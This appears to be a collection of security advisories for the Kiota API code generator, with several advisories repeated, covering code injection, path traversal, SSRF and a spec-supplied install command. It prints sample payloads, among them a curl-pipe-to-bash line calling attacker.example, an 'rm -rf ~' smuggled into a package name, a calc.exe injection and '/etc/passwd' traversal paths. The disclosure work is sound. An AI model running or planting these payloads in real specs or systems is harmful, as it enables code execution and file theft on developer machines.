Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7892). static_template.file from both x-ai-adaptive-card and x-ai-capabilities is validated as a relative path confined to the plugin output package: absolute URIs, rooted/UNC paths, Windows drive paths, and .. traversal segments are rejected, and unsafe references are dropped with a warning. Regression tests cover .., absolute paths, and URI values.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later and regenerate affected plugins.

Impact

The Kiota PHP code generator is vulnerable to a code generation literal injection attack. The generator embeds string values from OpenAPI fields (e.g. description, default values, and property names) directly into PHP double-quoted string literals without properly escaping the $ character. Since PHP evaluates string interpolation expressions like "${expr}", "$var", and "{$obj->prop}" within double-quoted strings at runtime, an attacker who controls an OpenAPI specification file can inject arbitrary PHP code into generated model and request-builder classes.

Who is impacted

Developers using Kiota to generate PHP API clients from external or untrusted OpenAPI specifications

Teams with CI/CD pipelines configured to automatically regenerate client code from remote specs

Applications that deploy generated PHP code to production servers

Vulnerability details

Affected component: StringExtensions.cs

Root cause: The shared SanitizeDoubleQuote() function in Writers/StringExtensions.cs does not escape the $ character. As a result, any schema-derived string emitted as a PHP double-quoted literal preserves $-prefixed interpolation constructs (${...}, $var, {$...}) verbatim, which PHP evaluates at runtime instead of treating as literal text. This is the same class of code-generation literal-injection flaw previously fixed for the Ruby generator (# interpolation), recurring here as a missed variant for PHP's $ interpolation in the sibling sanitizer helper.

Attack vectors

OpenAPI description and default fields in schema properties

Property wire-name keys embedded in deserializer/serializer methods

Any schema-derived string embedded in PHP double-quoted literals

Severity: Critical when generated code reaches production; High for CI/CD environments with access to production secrets; Medium for public third-party specs; Low for developer-controlled specs.

Patches

#7863

Workarounds

If you cannot upgrade immediately:

1. Audit and sanitize OpenAPI specifications: Review all OpenAPI specification files for any descriptions, default values, or property names containing the $ character. Remove or replace any suspicious strings before code generation.
2. Code review of generated files: Implement mandatory code review of all generated PHP files before merging into any branch. Look for double-quoted strings containing ${, $var, or {$ patterns.
3. Restrict specification sources: Only consume OpenAPI specifications from trusted internal sources. Avoid automatic code generation from external or third-party APIs until this patch is applied.
4. Isolate generated code from production: Do not deploy generated PHP models to production environments unless the specification source has been verified and reviewed.
5. Manual escaping (temporary): If regeneration is not possible, manually inspect and edit generated files to escape any $ characters in double-quoted string literals (replace $ with \$).

Remediation

Upgrade Kiota to 1.29.1, 1.32.4, or later.

Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Summary

Kiota versions prior to 1.32.3 and 1.29.1 are affected by a code-generation injection vulnerability in the C# XML documentation-comment sink (the description, externalDocs label, and externalDocs link fields emitted as /// … comments).

When text from an OpenAPI description is written into single-line XML doc comments without stripping newline and Unicode line-terminator characters, an attacker can break out of the /// comment line and inject additional code into generated C# clients.

Impact and Preconditions

This issue is only practically exploitable when:

1. the OpenAPI description used for generation is from an untrusted source, or
2. a normally trusted OpenAPI description has been compromised/tampered with.

The injected code is compiled (and may execute) when the developer or CI builds the generated client. If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced.

Affected Versions

• Affected: all versions < 1.29.1, >= 1.30.0, < 1.32.3
• Fixed: 1.29.1, 1.32.3, and later

Illustrative Exploit Example

Example OpenAPI fragment (malicious description)

openapi: 3.0.1
info:
  title: Exploit Demo
  version: 1.0.0
  description: |-
    Legitimate summary text
    public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The newline inside description (also exploitable via \r, U+0085, U+2028, U+2029) terminates the doc-comment line.

Example generated C# snippet before fix (illustrative)

/// Legitimate summary text
public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The injected payload escapes the intended /// comment context and introduces attacker-controlled statements in generated code.

Note: this exploit is not limited to the description field, but may also impact the externalDocs label and link text and other doc-comment-derived locations.

Remediation

1. Upgrade Kiota to 1.32.3 or later.
2. Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output. The fix (PR microsoft/kiota#7831) strips \r, \n, \u0085, \u2028, \u2029 (and normalizes tabs) from description, label, and link text before emitting doc comments.

Summary

Microsoft Kiota emitted the x-ms-kiota-info extension's clientClassName or clientNamespaceName value raw, with no identifier or path sanitization, as both the generated client's class/namespace name and part of the generated output path. When kiota generate is run without -c/--class-name — the zero-config workflow that x-ms-kiota-info is explicitly designed for (the API provider supplies the names in the description so consumers don't have to) — an attacker who controls or tampers with the OpenAPI description could therefore:

• (CWE-22) write the generated source file to a path outside the -o output directory — e.g. clientClassName: "/var/www/html/shell"; and
• (CWE-94) inject arbitrary text into the generated class/namespace declaration, corrupting the generated client.

Confirmed on Kiota 1.32.4 (the self-contained linux-x64 release binary), i.e. after the earlier writer-sink hardening — that fix escaped property/enum/default/serialization sinks but never sanitized the provider-supplied clientClassName / clientNamespaceName.

Details

clientClassName reached two unsanitized sinks (observed in the generated C#; the same raw emission occurred for Java, Go, TypeScript, Python, and PHP):

# output FILENAME (CWE-22): clientClassName flows into the file path
clientClassName: "/abs/path/PWNED"   ->   /abs/path/PWNED.cs   (written outside -o)

# class declaration (CWE-94): clientClassName flows verbatim into the type declaration
clientClassName: 'Pwn { } public class INJECTED { } public partial class RealClient'
   ->  public partial class Pwn { } public class INJECTED { } public partial class RealClient : ... { }

clientNamespaceName reached the analogous namespace/path sinks.

Impact

A developer or CI host generating a client from an attacker-controlled or compromised OpenAPI description (without -c) could create/overwrite a generated source file at an attacker-influenced path and emit attacker-controlled text into the generated client.

This does not reach clean remote code execution: because clientClassName is reused verbatim at multiple sites (the class name and the constructor name), injected code cannot be made to compile — it breaks the build. So the code-injection vector is a generation/build-corruption (integrity/DoS), and the high-severity primitive is the file write. CWE-22 / CWE-94.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7884). clientClassName and clientNamespaceName sourced from x-ms-kiota-info are now sanitized before use: GenerationConfiguration.SanitizeClientClassName strips any character outside [A-Za-z0-9_] and any invalid leading character (falling back to ApiClient), and SanitizeClientNamespaceName restricts to [A-Za-z0-9._-], collapses consecutive dots, strips invalid leading characters (falling back to ApiSdk). This removes path separators, drive/colon, .., quotes, and braces, so the values can no longer influence the output path or inject into the declaration.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later and regenerate affected clients.

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Summary

Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's documented team workflow has developers commit to their repository — unvalidated on kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the outputPath was not confined to the workspace root and absolute paths were accepted.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

// .kiota/workspace.json (committed to the repo)
"clients": { "MyClient": {
   "outputPath": "/abs/path/outside/repo/pwned_client"   // -> generated client written here (CWE-22)
}}

Running kiota client generate --client-name MyClient in the repo writes MyClient.cs, P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).

Note on descriptionLocation

The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows where to pull an updated description from when refreshing a client, the same way any other value in a committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only outputPath is now confined.

Impact

A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate / kiota plugin generate to refresh the client. CWE-22.

This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration, each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty, rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected, and the resolved full path must stay under the workspace root. Generation aborts with an error if any consumer's outputPath escapes the workspace.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later. Review any committed workspace configs for outputPath values that point outside the workspace.

Summary

Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.

Details

• $ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_KIOTA_PROP in the generated client.
• $ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. Resolution is transitive across nesting levels.

Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.

Impact

Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).

The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new --allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns (wildcards supported). With no allow-list entries, external references are not loaded at all.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. External references now require explicit opt-in via --allowed-external-origins; add only trusted origins/paths.

Summary

kiota plugin add / kiota plugin generate (with -t APIPlugin) emits an attacker-controlled static_template.file path from the AI-plugin extensions (x-ai-adaptive-card, x-ai-capabilities) verbatim, with no path validation, into the generated Microsoft 365 Copilot / Teams plugin manifest (<name>-apiplugin.json). An attacker-controlled or compromised OpenAPI description can therefore embed a ../ / absolute path into the manifest's response_semantics.static_template.file, yielding a path traversal (CWE-22) / out-of-package file inclusion (CWE-829) that is resolved by the AI host when the generated plugin is deployed.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

Both extension paths write the static_template.file reference straight into the manifest without sanitization — PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension mints static_template = {"file": <File>}, and the x-ai-capabilities path copies the static_template object through:

# spec                                                  -> generated manifest (functions[].capabilities.response_semantics)
x-ai-adaptive-card: {title: T, data_path: $.x,
   file: "../../../../../../etc/passwd"}                -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)
x-ai-capabilities.response_semantics.static_template:
   {file: "../../../../../../etc/passwd"}               -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)

(x-ai-adaptive-card.file only reaches the manifest when title is set, so GetResponseSemanticsFromAdaptiveCardExtension fires; otherwise kiota writes its own template card instead.)

Impact

This is not local code execution on the build host. The injected path is written into the generated plugin manifest and realized downstream, when the plugin is packaged and sideloaded / deployed to an AI host (Microsoft 365 Copilot / Teams) that resolves static_template.file relative to the plugin package (out-of-package file reference via ../). Kiota is the propagation point: it fails to reject ../ and absolute paths in this provider-supplied field before writing it into the manifest.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7892). static_template.file from both x-ai-adaptive-card and x-ai-capabilities is validated as a relative path confined to the plugin output package: absolute URIs, rooted/UNC paths, Windows drive paths, and .. traversal segments are rejected, and unsafe references are dropped with a warning. Regression tests cover .., absolute paths, and URI values.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later and regenerate affected plugins.

Impact

The Kiota PHP code generator is vulnerable to a code generation literal injection attack. The generator embeds string values from OpenAPI fields (e.g. description, default values, and property names) directly into PHP double-quoted string literals without properly escaping the $ character. Since PHP evaluates string interpolation expressions like "${expr}", "$var", and "{$obj->prop}" within double-quoted strings at runtime, an attacker who controls an OpenAPI specification file can inject arbitrary PHP code into generated model and request-builder classes.

Who is impacted

Developers using Kiota to generate PHP API clients from external or untrusted OpenAPI specifications

Teams with CI/CD pipelines configured to automatically regenerate client code from remote specs

Applications that deploy generated PHP code to production servers

Vulnerability details

Affected component: StringExtensions.cs

Root cause: The shared SanitizeDoubleQuote() function in Writers/StringExtensions.cs does not escape the $ character. As a result, any schema-derived string emitted as a PHP double-quoted literal preserves $-prefixed interpolation constructs (${...}, $var, {$...}) verbatim, which PHP evaluates at runtime instead of treating as literal text. This is the same class of code-generation literal-injection flaw previously fixed for the Ruby generator (# interpolation), recurring here as a missed variant for PHP's $ interpolation in the sibling sanitizer helper.

Attack vectors

OpenAPI description and default fields in schema properties

Property wire-name keys embedded in deserializer/serializer methods

Any schema-derived string embedded in PHP double-quoted literals

Severity: Critical when generated code reaches production; High for CI/CD environments with access to production secrets; Medium for public third-party specs; Low for developer-controlled specs.

Patches

#7863

Workarounds

If you cannot upgrade immediately:

1. Audit and sanitize OpenAPI specifications: Review all OpenAPI specification files for any descriptions, default values, or property names containing the $ character. Remove or replace any suspicious strings before code generation.
2. Code review of generated files: Implement mandatory code review of all generated PHP files before merging into any branch. Look for double-quoted strings containing ${, $var, or {$ patterns.
3. Restrict specification sources: Only consume OpenAPI specifications from trusted internal sources. Avoid automatic code generation from external or third-party APIs until this patch is applied.
4. Isolate generated code from production: Do not deploy generated PHP models to production environments unless the specification source has been verified and reviewed.
5. Manual escaping (temporary): If regeneration is not possible, manually inspect and edit generated files to escape any $ characters in double-quoted string literals (replace $ with \$).

Remediation

Upgrade Kiota to 1.29.1, 1.32.4, or later.

Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Code Generation Literal Injection in Kiota Python Generator Leads to Arbitrary Code Execution at Import Time.

The Kiota Python code generator is vulnerable to a code generation literal injection issue when processing malicious or untrusted OpenAPI specifications. Specifically, attacker-controlled enum value descriptions from x-ms-enum.values[].description can flow into generated Python files without newline sanitization, allowing injected content to escape a comment context and execute at module scope when the generated module is imported.

This issue requires user interaction in the form of generating a client from a malicious specification and importing the generated code, which is a common development and CI workflow.

Impact

A malicious OpenAPI specification can cause arbitrary Python code to be emitted into generated model files. The payload executes when the affected module is imported.

Potential impact includes

Credential theft from developer or CI environments Exfiltration of environment variables and secrets Source code disclosure Persistence via regenerated backdoored client output Who is impacted Developers generating Python SDKs from external or untrusted OpenAPI specs Teams with CI/CD automation that regenerates clients from remote specification URLs Any environment importing generated Python modules before manual review Vulnerability details Two gaps combine to enable exploitation:

Enum description cleanup gap

In KiotaBuilder.SetEnumOptions, enum option descriptions are assigned to Documentation.DescriptionTemplate without CleanupDescription on this path, allowing control characters such as newlines to propagate.

Python description sanitization gap

PythonConventionService.RemoveInvalidDescriptionCharacters escapes backslashes and triple quotes but did not remove carriage return/newline characters, unlike some other language convention services.

Exploit path

Malicious newline in x-ms-enum description is emitted through enum writing path. Generated inline comment output is split by newline. Subsequent attacker-controlled line lands at module scope in generated .py file. Importing the module executes the injected code.

Attack vectors

OpenAPI specifications hosted at attacker-controlled URLs Supply-chain scenarios where third-party specs are consumed automatically CI pipelines that generate and then import or test generated Python clients

Patches

https://github.com/microsoft/kiota/pull/7735

Workarounds

If you cannot upgrade immediately:

Only generate from trusted, internally controlled OpenAPI specification sources. Disable or gate automatic generation from remote specs in CI/CD. Add validation/sanitization for x-ms-enum descriptions before generation. Review generated Python files for suspicious top-level statements near enum/model declarations. Run generation and validation in isolated environments without access to production secrets.

Remediation

Upgrade to Kiota 1.29.1, 1.32.0, or later.

Regenerate existing Python clients to replace previously generated vulnerable output.

Recommended validation after upgrade

Regenerate from the same spec used in proof-of-concept testing Confirm malicious multi-line enum descriptions no longer produce executable top-level output

Code Generation Literal Injection in Kiota Ruby Generator Leads to Arbitrary Code Execution

Impact

The Kiota Ruby code generator is vulnerable to a code generation literal injection attack. The generator embeds string values from OpenAPI default fields and property names directly into Ruby double-quoted string literals without properly escaping the # character. Since Ruby evaluates string interpolation expressions like #{expr}, #$var, and #@var within double-quoted strings at runtime, an attacker who controls an OpenAPI specification file can inject arbitrary Ruby code into generated model classes.

Who is impacted

Developers using Kiota to generate Ruby API clients from external or untrusted OpenAPI specifications Teams with CI/CD pipelines configured to automatically regenerate client code from remote specs Applications that deploy generated Ruby code to production servers

Vulnerability details

Affected component: CodeMethodWriter.cs Root cause: The shared SanitizeForQuotedLiteral() function in Writers/StringExtensions.cs does not escape the # character

Attack vectors

OpenAPI default fields in schema properties Property wire-name hash keys in deserializer/serializer methods Any schema-derived string embedded in Ruby double-quoted literals Severity: Critical when generated code reaches production; High for CI/CD environments with access to production secrets; Medium for public third-party specs; Low for developer-controlled specs.

Patches

https://github.com/microsoft/kiota/pull/7746

Workarounds

If you cannot upgrade immediately:

1. Audit and sanitize OpenAPI specifications: Review all OpenAPI specification files for any default values or property names containing the # character. Remove or replace any suspicious strings before code generation.
2. Code review of generated files: Implement mandatory code review of all generated Ruby files before merging into any branch. Look for double-quoted strings containing #{, #$, or #@ patterns.
3. Restrict specification sources: Only consume OpenAPI specifications from trusted internal sources. Avoid automatic code generation from external or third-party APIs until this patch is applied.
4. Isolate generated code from production: Do not deploy generated Ruby models to production environments unless the specification source has been verified and reviewed.
5. Manual escaping (temporary): If regeneration is not possible, manually inspect and edit generated files to escape any # characters in string literals (replace # with # in double-quoted strings).

Remediation

Upgrade Kiota to 1.29.1, 1.32.0, or later. Regenerate/refresh existing generated clients as a precaution:

kiota update

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Summary

Kiota versions prior to 1.32.3 and 1.29.1 are affected by a code-generation injection vulnerability in the C# XML documentation-comment sink (the description, externalDocs label, and externalDocs link fields emitted as /// … comments).

When text from an OpenAPI description is written into single-line XML doc comments without stripping newline and Unicode line-terminator characters, an attacker can break out of the /// comment line and inject additional code into generated C# clients.

Impact and Preconditions

This issue is only practically exploitable when:

1. the OpenAPI description used for generation is from an untrusted source, or
2. a normally trusted OpenAPI description has been compromised/tampered with.

The injected code is compiled (and may execute) when the developer or CI builds the generated client. If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced.

Affected Versions

• Affected: all versions < 1.29.1, >= 1.30.0, < 1.32.3
• Fixed: 1.29.1, 1.32.3, and later

Illustrative Exploit Example

Example OpenAPI fragment (malicious description)

openapi: 3.0.1
info:
  title: Exploit Demo
  version: 1.0.0
  description: |-
    Legitimate summary text
    public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The newline inside description (also exploitable via \r, U+0085, U+2028, U+2029) terminates the doc-comment line.

Example generated C# snippet before fix (illustrative)

/// Legitimate summary text
public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The injected payload escapes the intended /// comment context and introduces attacker-controlled statements in generated code.

Note: this exploit is not limited to the description field, but may also impact the externalDocs label and link text and other doc-comment-derived locations.

Remediation

1. Upgrade Kiota to 1.32.3 or later.
2. Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output. The fix (PR microsoft/kiota#7831) strips \r, \n, \u0085, \u2028, \u2029 (and normalizes tabs) from description, label, and link text before emitting doc comments.

Summary

Microsoft Kiota emitted the x-ms-kiota-info extension's clientClassName or clientNamespaceName value raw, with no identifier or path sanitization, as both the generated client's class/namespace name and part of the generated output path. When kiota generate is run without -c/--class-name — the zero-config workflow that x-ms-kiota-info is explicitly designed for (the API provider supplies the names in the description so consumers don't have to) — an attacker who controls or tampers with the OpenAPI description could therefore:

• (CWE-22) write the generated source file to a path outside the -o output directory — e.g. clientClassName: "/var/www/html/shell"; and
• (CWE-94) inject arbitrary text into the generated class/namespace declaration, corrupting the generated client.

Confirmed on Kiota 1.32.4 (the self-contained linux-x64 release binary), i.e. after the earlier writer-sink hardening — that fix escaped property/enum/default/serialization sinks but never sanitized the provider-supplied clientClassName / clientNamespaceName.

Details

clientClassName reached two unsanitized sinks (observed in the generated C#; the same raw emission occurred for Java, Go, TypeScript, Python, and PHP):

# output FILENAME (CWE-22): clientClassName flows into the file path
clientClassName: "/abs/path/PWNED"   ->   /abs/path/PWNED.cs   (written outside -o)

# class declaration (CWE-94): clientClassName flows verbatim into the type declaration
clientClassName: 'Pwn { } public class INJECTED { } public partial class RealClient'
   ->  public partial class Pwn { } public class INJECTED { } public partial class RealClient : ... { }

clientNamespaceName reached the analogous namespace/path sinks.

Impact

A developer or CI host generating a client from an attacker-controlled or compromised OpenAPI description (without -c) could create/overwrite a generated source file at an attacker-influenced path and emit attacker-controlled text into the generated client.

This does not reach clean remote code execution: because clientClassName is reused verbatim at multiple sites (the class name and the constructor name), injected code cannot be made to compile — it breaks the build. So the code-injection vector is a generation/build-corruption (integrity/DoS), and the high-severity primitive is the file write. CWE-22 / CWE-94.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7884). clientClassName and clientNamespaceName sourced from x-ms-kiota-info are now sanitized before use: GenerationConfiguration.SanitizeClientClassName strips any character outside [A-Za-z0-9_] and any invalid leading character (falling back to ApiClient), and SanitizeClientNamespaceName restricts to [A-Za-z0-9._-], collapses consecutive dots, strips invalid leading characters (falling back to ApiSdk). This removes path separators, drive/colon, .., quotes, and braces, so the values can no longer influence the output path or inject into the declaration.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later and regenerate affected clients.

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Summary

Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's documented team workflow has developers commit to their repository — unvalidated on kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the outputPath was not confined to the workspace root and absolute paths were accepted.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

// .kiota/workspace.json (committed to the repo)
"clients": { "MyClient": {
   "outputPath": "/abs/path/outside/repo/pwned_client"   // -> generated client written here (CWE-22)
}}

Running kiota client generate --client-name MyClient in the repo writes MyClient.cs, P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).

Note on descriptionLocation

The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows where to pull an updated description from when refreshing a client, the same way any other value in a committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only outputPath is now confined.

Impact

A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate / kiota plugin generate to refresh the client. CWE-22.

This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration, each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty, rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected, and the resolved full path must stay under the workspace root. Generation aborts with an error if any consumer's outputPath escapes the workspace.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later. Review any committed workspace configs for outputPath values that point outside the workspace.

Summary

Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.

Details

• $ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_KIOTA_PROP in the generated client.
• $ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. Resolution is transitive across nesting levels.

Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.

Impact

Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).

The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new --allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns (wildcards supported). With no allow-list entries, external references are not loaded at all.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. External references now require explicit opt-in via --allowed-external-origins; add only trusted origins/paths.

Summary

